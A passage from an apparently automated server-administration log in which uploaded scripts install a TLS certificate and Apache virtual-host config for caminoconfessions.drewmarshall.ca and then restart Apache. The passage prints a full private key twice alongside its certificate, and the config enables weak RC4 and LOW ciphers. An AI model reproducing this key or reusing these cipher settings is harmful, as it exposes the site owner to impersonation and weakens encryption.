qBURpwxA39WuPO9mNFxY+NqZbn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr
4qD7ovp4HW5UEz0l9RfJxWVV06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZ
wbFUG6z1ua6i8zkDsh2CWPt21aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgW
sjMxeUfk5sF/5gVXkpeHo7rPLa8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Q
n+5JukLMy+ukoWVthKA9L7GV/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA
/XbpOyijAgMBAAECggEAQPyl7RbS94SKjcMO0VQdjcakwCVnPu4/zmseTTM+4w0l
K8oh9UBdv26SmBgG29WkKNFDpIe36KWzo7Nn6iDcJiujobO86vUxGX7yP8/GLfO0
bonQisIvTkiB4Zsk1blvoHcSv3cmdd2HaAWUTIIOTFMKazVLcvdOYZRCROWLMXmL
8jHUaWqC3btNPE+AJuU0NEEGR2/7kjJ8RMjjGkY/ewp295TZQPsSNZf6vgq3rDUA
kwxAxcsKbifrlwy9TP+99ymIcTYXhiOag1j8izLEChhk8tqYhVtZmSmKZbO+zI5A
9I9Gm6YoA2FSPfjSgeHdLJLUAzhKJqVgxZMorlwUgQKBgQDwmETFAuwFAjpRz56J
sE/SAnPvqa7MDmuYRCI/NdzHxm0v3z6SH2JP54npGqGK7/UN8r0wDenRnFwgRkqN
6R1/20hYzCIjmDjwuTzWN+6RqbHy0QduoTLo+YmwxkIajQoEb9zDufF5CFqnayWV
AOhul/jHfCl+HPrL9EiKoLIKMwKBgQDDb2t2CQ2FLydkOKnACOlDhh7B19FCOeCa
oLx35nzRXFKYzZyfGFhXsUyk/gPMXg6M/2Tr/Nf4Qxmak+k30R9PfzSKEhNIBLOu
Z/bE0w0DnrPiAPWmEp/kWMRNZQRFF3JGjgtcRu1Y4ycONpLp5LGFcYrcYMGB8dcL
PjCMWXDX0QKBgQCH7V8c9zOk+Mc+JVBqdeQCwEQD6RfKTXNYSVYX5DRh4acaXsQZ
BgYjIqr1uYf+2ObYBIYCOjoZpH8f9NZ2KnfyHk9Xa6z18zBoQB8w39S3EupoRtQu
GoCKw0CZUMlT+s7oBtLw+YKFYMTmxVAsSKEIqm9xNKK0j2baB59cQsGTpQKBgEkK
IiJJ/diRp+on1yEi83K99E7Dxrw2fz+q5OT2qh1goKnk5iz7X0DezWM4X9kIKe3+
IQylQV3STgZcUyP+LvJ5+vvDB5u5ziFXT3191vZMYLQNYcFAYqtnlW3LXA4qVhYS
TiKdi2TV+CmysbNiOgpCRgBY1NkothLImkJJxweRAoGBALmvYqS1WtEiqljL2fHj
jIWJX12FOq6s011ul5v5TEKFaRHAEnENoBYYr94NfqfeGjeu6XuEjbNduTCMhB2q
jaOvXvWK95FIOlId0tB/Web0f7FfC4c4fuZfkB9ZzDNIfmerPCfI2LnTFKSccmfv
M7S6eygoHBKkF9LrEe3s1eJI
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-05 06:00:12:
chmod 755 /tmp/pkp737830; /tmp/pkp737830; rm /tmp/pkp737830
2025-11-05 06:00:12:
dir=/etc/ssl/certs
2025-11-05 06:00:12:
PUT: /tmp/pkp694434
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-05 06:00:12:
chmod 755 /tmp/pkp694434; /tmp/pkp694434; rm /tmp/pkp694434
2025-11-05 06:00:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-05 06:00:12:
PUT: /tmp/pkp995023
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi
2025-11-05 06:00:12:
chmod 755 /tmp/pkp995023; /tmp/pkp995023; rm /tmp/pkp995023
2025-11-05 06:00:12:
2025-11-05 06:00:12:
PUT: /tmp/pkp614730
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-05 06:00:12:
chmod 755 /tmp/pkp614730; /tmp/pkp614730; rm /tmp/pkp614730
2025-11-05 06:00:12:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-05 06:00:12: Establishing a connection
2025-11-05 06:00:13:
PUT: /tmp/pkp150802
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-05 06:00:13:
chmod 755 /tmp/pkp150802; /tmp/pkp150802; rm /tmp/pkp150802
2025-11-05 06:00:13:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-05 06:00:13:
PUT: /tmp/pkp766081
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-05 06:00:13:
chmod 755 /tmp/pkp766081; /tmp/pkp766081; rm /tmp/pkp766081
2025-11-05 06:00:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 1479
<VirtualHost *:80>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName caminoconfessions.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
DocumentRoot /var/www/drewmarshall_caminoconfessions
<Directory /var/www/drewmarshall_caminoconfessions>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-05 06:00:13:
PUT: /tmp/pkp513480
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-05 06:00:13:
chmod 755 /tmp/pkp513480; /tmp/pkp513480; rm /tmp/pkp513480
2025-11-05 06:00:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt 5394
4c:cc:26:f9:52:0e:f4:13:0a:9e:9a:93:2d:d9:6d:31
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBuNI4X3u1pb3zliSolNIhts1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTA1MDUwMTQxWhcNMjYwMjAzMDUwMTQwWjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC3rLNmdhYmgLUVqBURpwxA39WuPO9mNFxY+NqZ
bn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr4qD7ovp4HW5UEz0l9RfJxWVV
06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZwbFUG6z1ua6i8zkDsh2CWPt2
1aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgWsjMxeUfk5sF/5gVXkpeHo7rP
La8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Qn+5JukLMy+ukoWVthKA9L7GV
/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA/XbpOyijAgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFDvkpZBHgpsUrrcL/cbn+9pm69quMB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NTQuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGaUpnwYgAABAMARzBFAiApKDXsTSvNbVZ7bjDH
BXg2a3Oi2enOaIad9uNtbnYwGwIhAPxSUqkEG0yarx3TU8Ny5kwCOH8WBh8j15OC
oL4NMiQjAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGaUpnw
awAABAMARzBFAiBvCM6vUJdDjuILGI4NUC3hiC2iAHvb2Vy+dKM8Pp4yQwIhAPU8
jII8fKYwfk75TTd8YBqNULXuhPICkYGQkIXKJ5HbMA0GCSqGSIb3DQEBCwUAA4IB
AQBUZz+Te4ccg001b+Cr7JzlcltRObktxkhPuHAd1Kp9BmV2Dl00DhV9UY6qDiyK
a4fIWSHlKY0JcH03HzNWQUDuo3PyWYsu+n4B8ry44ha1JXnGFQH6JNcWQ+44HWPN
BCKQNDe3lFfQEO+QXqvsA7JuGLRlQtBfy/vWZFwonTtzs1Rr+YEy5McKTv/xkwBB
CdpRwwH2q5RtsfLpvAjRWFsTrsO7pDXS0EbCqWo3K8N60V3pZQWtMVR9rwTVa6pN
SCI53aVEUwWfaJHwUsooA1N2aFO64Qa71Nqy0DjaiNVrunsYB347d13ZCn0i5fh2
VfTiQZERXrcHE1ABAtlKP09h
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3rLNmdhYmgLUV
qBURpwxA39WuPO9mNFxY+NqZbn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr
4qD7ovp4HW5UEz0l9RfJxWVV06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZ
wbFUG6z1ua6i8zkDsh2CWPt21aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgW
sjMxeUfk5sF/5gVXkpeHo7rPLa8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Q
n+5JukLMy+ukoWVthKA9L7GV/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA
/XbpOyijAgMBAAECggEAQPyl7RbS94SKjcMO0VQdjcakwCVnPu4/zmseTTM+4w0l
K8oh9UBdv26SmBgG29WkKNFDpIe36KWzo7Nn6iDcJiujobO86vUxGX7yP8/GLfO0
bonQisIvTkiB4Zsk1blvoHcSv3cmdd2HaAWUTIIOTFMKazVLcvdOYZRCROWLMXmL
8jHUaWqC3btNPE+AJuU0NEEGR2/7kjJ8RMjjGkY/ewp295TZQPsSNZf6vgq3rDUA
kwxAxcsKbifrlwy9TP+99ymIcTYXhiOag1j8izLEChhk8tqYhVtZmSmKZbO+zI5A
9I9Gm6YoA2FSPfjSgeHdLJLUAzhKJqVgxZMorlwUgQKBgQDwmETFAuwFAjpRz56J
sE/SAnPvqa7MDmuYRCI/NdzHxm0v3z6SH2JP54npGqGK7/UN8r0wDenRnFwgRkqN
6R1/20hYzCIjmDjwuTzWN+6RqbHy0QduoTLo+YmwxkIajQoEb9zDufF5CFqnayWV
AOhul/jHfCl+HPrL9EiKoLIKMwKBgQDDb2t2CQ2FLydkOKnACOlDhh7B19FCOeCa
oLx35nzRXFKYzZyfGFhXsUyk/gPMXg6M/2Tr/Nf4Qxmak+k30R9PfzSKEhNIBLOu
Z/bE0w0DnrPiAPWmEp/kWMRNZQRFF3JGjgtcRu1Y4ycONpLp5LGFcYrcYMGB8dcL
PjCMWXDX0QKBgQCH7V8c9zOk+Mc+JVBqdeQCwEQD6RfKTXNYSVYX5DRh4acaXsQZ
BgYjIqr1uYf+2ObYBIYCOjoZpH8f9NZ2KnfyHk9Xa6z18zBoQB8w39S3EupoRtQu
GoCKw0CZUMlT+s7oBtLw+YKFYMTmxVAsSKEIqm9xNKK0j2baB59cQsGTpQKBgEkK
IiJJ/diRp+on1yEi83K99E7Dxrw2fz+q5OT2qh1goKnk5iz7X0DezWM4X9kIKe3+
IQylQV3STgZcUyP+LvJ5+vvDB5u5ziFXT3191vZMYLQNYcFAYqtnlW3LXA4qVhYS
TiKdi2TV+CmysbNiOgpCRgBY1NkothLImkJJxweRAoGBALmvYqS1WtEiqljL2fHj
jIWJX12FOq6s011ul5v5TEKFaRHAEnENoBYYr94NfqfeGjeu6XuEjbNduTCMhB2q
jaOvXvWK95FIOlId0tB/Web0f7FfC4c4fuZfkB9ZzDNIfmerPCfI2LnTFKSccmfv
M7S6eygoHBKkF9LrEe3s1eJI
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
